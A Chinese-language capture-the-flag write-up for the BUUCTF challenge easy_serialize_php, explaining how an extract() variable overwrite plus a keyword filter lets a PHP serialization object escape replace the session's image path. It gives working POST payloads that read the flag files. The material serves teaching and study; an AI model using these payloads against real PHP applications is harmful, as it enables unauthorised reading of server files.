BUUCTF之[安洵杯 2019]easy_serialize_php -------- 反序列化/序列化和代码审计
知识点
- 反序列化中的对象逃逸
- extract()变量覆盖
虽然这题说很easy,但是一点都不easy。我花了好长的时间才能看懂。但是里面的知识点却很有意思,希望我能记下来…
废话不多说,放代码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
?>
先分析一下源代码
这段代码是会把php、flag、php5、php4和flig过滤为空字符串。这个过滤很重要,等等我们会用到
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
这里提示我们在phpinfo里可以找到和flag相关的信息
else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
找到可疑文件:d0g3_f1ag.php
爆flag
else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
另外,还有明确几个点
1.序列化/反序列化
- 序列化后的结果是一串字符串。
- 反序列化会解开序列化的字符串生成相应类型的数据。
2.序列化/反序列化转换的代码
<?php
$Test['admin'] = "root";
$Test['flag'] = "123456";
$a = serialize($Test);
var_dump($a);
# 输出的序列化为:string 'a:2:{s:5:"admin";s:4:"root";s:4:"flag";s:6:"123456";}' (length=53)
echo "<br/>";
$b = unserialize($a);
var_dump($b);
# 输出的反序列化为:
# array (size=2)
# 'admin' => string 'root' (length=4)
# 'flag' => string '123456' (length=6)
?>
其中的a表示数组,a:2表示该数组里有两个值。而s表示是字符串(其实你敢做这题说明你序列化/反序列化这部分知识还是有的,所以我就不过多解释了。毕竟重点的在后面…)
3.extract()变量覆盖
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
这里你可以理解为:销毁$_SESSION变量 --》 给$_SESSION变量赋值 --》 extract()变量覆盖
但是,其实段代码是出题人干扰项的。上面的代码和下面的这行代码是等价的。
extract($_POST);
4.extract()变量覆盖代码
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'test';
var_dump($_SESSION);
echo "<br/>";
# extract() 变量覆盖前输出的:
# array (size=2)
# 'user' => string 'guest' (length=5)
# 'function' => string 'test' (length=4)
extract($_POST);
var_dump($_SESSION);
# extract() 变量覆盖后
# array (size=1)
# 'flag' => string 'flag' (length=4)
?>
虽然知道了变量覆盖的原理,但是我们又不能直接给$_SESSION[‘img’]赋值。因为$_SESSION[‘img’]赋值是在extract()变量覆盖的后面执行的
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
这时反序列化中的对象逃逸就派上用场了,同时我们还需要用到出题人的这个过滤函数
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
键值逃逸
- 因为序列化的字符串是严格的,对应的格式不能错,比如s:4:“name”,那s:4就必须有一个字符串长度是4的否则就往后要。
- 并且反序列化会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号
{}
外的就都被扔掉。
示例代码
<?php
header("Content-type:text/html;charset=utf-8");
echo("#正规序列化的字符串");
$a = 'a:2:{s:3:"one";s:1:"1";s:3:"two";s:1:"2";}';
var_dump(unserialize($a));
echo("#带有多余的字符的字符串");
$a_laji = 'a:2:{s:3:"one";s:1:"1";s:3:"two";s:1:"2";};s:3:"three";s:1:"3";';
var_dump(unserialize($a_laji));
?>
示例结果
这个就是反序列化的逃逸概念,所以现在就需要把$_SESSION[‘img’] 的img属性放到花括号外边去。然后在花括号里面放我们需要的img属性,那么他本来要求的img属性就被咱们替换了。
那具体该怎么构造呢?我们先来看一下大佬的payload:
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
分析一下这个payload
首先我们需要构造img属性:
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";
其中的ZDBnM19mMWFnLnBocA==是d0g3_f1ag.php
的base64加密的结果
然后在这个属性前面随便加上个序列化字符串(只要是合法的就行),比如:
- ;s:1:“1”;
- ;s:2:“10”;
- ;s:3:“100”;
所以payload可以为:
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
_SESSION[phpflag]=;s:2:"10";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
_SESSION[phpflag]=;s:3:"100";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
第二个问题:
为什么在_SESSION[]里面的值是phpflag呢?因为php和flag都是在黑名单过滤函数里面,且总长度刚好为7。
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
所以,这里的phpflag可以换成:
- phpphp5
- phpphp4
- phpfl1g
等等,只要长度正好为7就可以。那为什么一定要长度正好为7呢?继续往下看。。。。
我们先来测试一下大佬的payload是什么效果
<?php
header("Content-type:text/html;charset=utf-8");
echo "添加属性img前";
$_SESSION['phpflag']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
var_dump( serialize($_SESSION));
echo "添加属性img后";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump(serialize($_SESSION));
?>
上面代码返回结果
但是,如果添加了黑名单的filter函数把phpflag过滤了会发生什么事?
<?php
header("Content-type:text/html;charset=utf-8");
# echo "添加属性img前";
$_SESSION['phpflag']=';s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
# var_dump( serialize($_SESSION));
# echo "添加属性img后";
$_SESSION['img'] = base64_encode('guest_img.png');
# var_dump(serialize($_SESSION));
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
echo "没有黑名单过滤的反序列化后";
$test = serialize($_SESSION);
var_dump(unserialize($test));
echo "<br/>"; echo "<br/>"; echo "<br/>"; echo "<br/>"; echo "<br/>";
echo "有黑名单过滤的反序列化后";
$test = filter(serialize($_SESSION));
var_dump(unserialize($test));
?>
结果
问题三:现在可以回答为什么上面的长度为什么要求为7的问题了
字符串:
a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
- 经过filter过滤后phpflag就会被替换成空
- s:7:“phpflag"就变成了 s:7:”"
但是这里会出现问题,因为这里要求的字符串的长度为7,但是这里却是空字符串。所以它会向后索取字符串。直到长度正好为7。 - 细心的话,可以看到
";s:48:
这个字符串的长度正好为7
当phpflag被替换成空字符串时,原本的键值对就变成:
- 第一个变量的名: s:7:"
";s:48:
"; - 第一个变量的值: s:1:“1”;
- 第二个变量的名: s:3:“img”;
- 第二个变量的值: s:20:“ZDBnM19mMWFnLnBocA==”;
再加上PHP序列化的严格规定,会把后面多余的字符串丢弃。就变成了:
a:1:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
分析完毕
这就是大佬们payload反序列化逃逸的原理。所以提交payload开始获取flag:
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
提交完这个payload会发现下一步的提示:$flag = 'flag in /d0g3_fllllllag';
提示我们flag在/d0g3_fllllllag中(注意/
不能漏),所以把/d0g3_fllllllag加密成base64。然后提交payload:
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}